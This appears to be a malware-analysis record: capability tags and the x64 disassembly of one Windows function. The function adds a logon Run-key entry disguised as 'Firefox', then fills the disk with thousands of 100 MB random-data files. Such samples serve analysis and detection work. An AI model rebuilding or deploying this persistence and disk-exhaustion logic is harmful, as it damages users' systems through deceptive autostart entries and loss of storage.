Function at 0x140001290
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1d0]
sub rsp, 0x2d0
mov rax, qword [0x140008010]
xor rax, rsp
mov qword [rbp + 0x1c0], rax
xor r15d, r15d
mov esi, r15d
mov dword [rsp + 0x70], r15d
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov r8d, 0x104
lea rdx, [rbp + 0xb0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea r8, [rsp + 0x70]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea rcx, [rbp + 0xb0]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], sil
jne 0x140001320
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0xb0]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.Firefox
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea r12, str.file
lea r13, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
lea rdi, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov ecx, 4
call fcn.140003370
mov r14d, r15d
mov edx, r14d
lea rcx, [rsp + 0x50]
call fcn.140002980
or esi, 1
mov r8, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov rax, rcx
sub rax, r8
cmp rax, 4
jb 0x140001434
lea rax, [r8 + 4]
mov qword [rsp + 0x60], rax
lea rbx, [rsp + 0x50]
cmp rcx, 0x10
cmovae rbx, qword [rsp + 0x50]
lea rax, [0x14000558c]
cmp rax, rbx
jbe 0x1400013ea
lea rax, [rbx + r8]
cmp r12, rax
ja 0x1400013ea
cmp rbx, r12
ja 0x1400013e2
mov rdi, r15
jmp 0x1400013ef
mov rdi, rbx
sub rdi, r12
jmp 0x1400013ef
mov edi, 4
lea rcx, [rbx + 4]
inc r8
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rdi
mov rdx, r12
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + rdi]
mov r8d, 4
sub r8, rdi
lea rdx, [r12 + 4]
add rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsp + 0x50]
lea rdi, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
jmp 0x14000144c
mov qword [rsp + 0x28], 4
mov edx, 4
lea rcx, [rsp + 0x50]
call fcn.140003170
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], r15
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
mov rax, r8
sub rax, rdx
lea rcx, [rsp + 0x30]
cmp rax, 4
jb 0x1400014c1
lea rax, [rdx + 4]
mov qword [rsp + 0x40], rax
cmp r8, 0x10
cmovae rcx, qword [rsp + 0x30]
mov eax, dword [str..txt]
mov dword [rcx + rdx], eax
mov byte [rcx + rdx + 4], 0
lea rax, [rsp + 0x30]
jmp 0x1400014d4
mov qword [rsp + 0x20], 4
mov edx, 4
call fcn.140002fc0
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x68], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
or esi, 6
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x140001541
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000153c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001747
call fcn.1400033ac
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x140001591
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000158c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000174e
call fcn.1400033ac
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp - 0x60]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
lea rcx, [rbp - 0x60]
call fcn.140002760
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x60], r13
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x64], edx
cmp qword [rbp + 0x28], 0
je 0x14000167b
mov ebx, 0x6400000
nop dword [rax + rax]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x800000ff
jge 0x140001616
dec eax
or eax, 0xffffff00
inc eax
mov byte [rsp + 0x78], al
mov r8d, 1
lea rdx, [rsp + 0x78]
lea rcx, [rbp - 0x60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
sub rbx, 1
jne 0x140001600
lea rcx, [rbp - 0x58]
call fcn.1400026a0
test rax, rax
jne 0x14000165e
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x60]
add rcx, rax
xor r8d, r8d
lea edx, [rbx + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002b60
mov rcx, rax
lea rdx, [0x140002d10]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x60], r13
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x64], edx
mov qword [rbp - 0x58], rdi
cmp qword [rbp + 0x28], 0
je 0x1400016cc
mov rax, qword [rbp - 0x40]
lea rcx, [rbp + 0x18]
cmp qword [rax], rcx
jne 0x1400016cc
mov rdx, qword [rbp + 0x38]
mov rcx, qword [rbp + 0x30]
mov qword [rax], rcx
mov rax, qword [rbp - 0x20]
mov qword [rax], rcx
sub edx, ecx
mov rax, qword [rbp - 8]
mov dword [rax], edx
cmp byte [rbp + 0x24], 0
je 0x1400016db
lea rcx, [rbp - 0x58]
call fcn.1400026a0
lea rcx, [rbp - 0x58]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x50]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x48]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x140001732
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000172d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001755
call fcn.1400033ac
inc r14d
cmp r14d, 0x270f
jl 0x140001381
jmp 0x140001374
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3